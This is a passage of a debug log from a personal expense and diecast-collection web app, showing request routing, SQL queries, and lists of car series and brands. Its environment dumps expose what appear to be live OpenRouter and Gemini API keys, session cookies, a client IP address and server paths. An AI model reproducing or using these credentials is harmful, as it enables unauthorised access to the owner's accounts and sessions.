      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2025-12-20T04:55:14.783Z server-connect:router Serving serverConnect /api/masters/get-tags
2025-12-20T04:55:14.784Z server-connect:app Executing action step identify
2025-12-20T04:55:14.784Z server-connect:app options: { provider: 'security' }
2025-12-20T04:55:14.784Z server-connect:output identity: 1
2025-12-20T04:55:14.784Z server-connect:app Executing action step restrict
2025-12-20T04:55:14.784Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:55:14.784Z server-connect:output restrict: undefined
2025-12-20T04:55:14.784Z server-connect:app Executing action step select
2025-12-20T04:55:14.784Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2025-12-20T04:55:14.786Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2025-12-20T04:55:38.020Z server-connect:router Serving templateView /diecast-reports
2025-12-20T04:55:38.020Z server-connect:app Executing action step identify
2025-12-20T04:55:38.020Z server-connect:app options: { provider: 'security' }
2025-12-20T04:55:38.020Z server-connect:output identity: 1
2025-12-20T04:55:38.020Z server-connect:app Executing action step restrict
2025-12-20T04:55:38.020Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T04:55:38.020Z server-connect:output restrict: undefined
2025-12-20T04:55:38.020Z server-connect:router Render template diecast-reports
2025-12-20T04:55:38.021Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '157.48.251.138',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.251.138',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '157.48.251.138',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-20T04:55:38.275Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2025-12-20T04:55:38.275Z server-connect:app Executing action step identify
2025-12-20T04:55:38.275Z server-connect:app options: { provider: 'security' }
2025-12-20T04:55:38.275Z server-connect:output identity: 1
2025-12-20T04:55:38.275Z server-connect:app Executing action step restrict
2025-12-20T04:55:38.275Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:55:38.276Z server-connect:output restrict: undefined
2025-12-20T04:55:38.276Z server-connect:app Executing action step custom
2025-12-20T04:55:38.276Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2025-12-20T04:55:38.278Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 101, name: 'HW Then and now', total: 4 },
  { series: 107, name: 'HW EV', total: 4 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 92, name: 'Fantasy', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 150, name: 'HW Reverse Rake', total: 2 },
  { series: 149, name: 'HW Compact Kings', total: 2 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 163, name: 'HW Starting Grid', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 151, name: 'HW Rod Squad', total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 }
]
2025-12-20T04:55:53.344Z server-connect:router Serving templateView /diecast
2025-12-20T04:55:53.345Z server-connect:app Executing action step identify
2025-12-20T04:55:53.345Z server-connect:app options: { provider: 'security' }
2025-12-20T04:55:53.345Z server-connect:output identity: 1
2025-12-20T04:55:53.345Z server-connect:app Executing action step restrict
2025-12-20T04:55:53.345Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T04:55:53.345Z server-connect:output restrict: undefined
2025-12-20T04:55:53.345Z server-connect:router Render template diecast
2025-12-20T04:55:53.346Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '157.48.251.138',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.251.138',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '157.48.251.138',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-20T04:55:53.564Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-20T04:55:53.565Z server-connect:app Executing action step identify
2025-12-20T04:55:53.565Z server-connect:app options: { provider: 'security' }
2025-12-20T04:55:53.565Z server-connect:output identity: 1
2025-12-20T04:55:53.565Z server-connect:app Executing action step restrict
2025-12-20T04:55:53.565Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:55:53.565Z server-connect:output restrict: undefined
2025-12-20T04:55:53.565Z server-connect:app Executing action step select
2025-12-20T04:55:53.565Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-20T04:55:53.566Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2025-12-20T04:55:53.580Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-20T04:55:53.582Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-20T04:55:53.584Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-20T04:55:53.584Z server-connect:app Executing action step identify
2025-12-20T04:55:53.584Z server-connect:app options: { provider: 'security' }
2025-12-20T04:55:53.584Z server-connect:output identity: 1
2025-12-20T04:55:53.584Z server-connect:app Executing action step restrict
2025-12-20T04:55:53.584Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:55:53.585Z server-connect:router Serving serverConnect /api/diecast/get-filters
2025-12-20T04:55:53.585Z server-connect:output restrict: undefined
2025-12-20T04:55:53.585Z server-connect:app Executing action step select
2025-12-20T04:55:53.585Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-20T04:55:53.585Z server-connect:app Executing action step identify
2025-12-20T04:55:53.585Z server-connect:app options: { provider: 'security' }
2025-12-20T04:55:53.586Z server-connect:output identity: 1
2025-12-20T04:55:53.586Z server-connect:app Executing action step restrict
2025-12-20T04:55:53.586Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:55:53.587Z server-connect:app Executing action step identify
2025-12-20T04:55:53.587Z server-connect:app options: { provider: 'security' }
2025-12-20T04:55:53.587Z server-connect:output identity: 1
2025-12-20T04:55:53.587Z server-connect:app Executing action step restrict
2025-12-20T04:55:53.587Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:55:54.411Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2025-12-20T04:55:54.414Z server-connect:app Executing action step identify
2025-12-20T04:55:54.414Z server-connect:app options: { provider: 'security' }
2025-12-20T04:55:54.414Z server-connect:output identity: 1
2025-12-20T04:55:54.415Z server-connect:app Executing action step restrict
2025-12-20T04:55:54.415Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:55:54.416Z server-connect:output restrict: undefined
2025-12-20T04:55:54.416Z server-connect:app Executing action step paged
2025-12-20T04:55:54.416Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-20T04:55:54.417Z server-connect:output restrict: undefined
2025-12-20T04:55:54.417Z server-connect:app Executing action step select
2025-12-20T04:55:54.417Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-20T04:55:54.418Z server-connect:output restrict: undefined
2025-12-20T04:55:54.418Z server-connect:app Executing action step select
2025-12-20T04:55:54.418Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-20T04:55:54.419Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2025-12-20T04:55:54.422Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
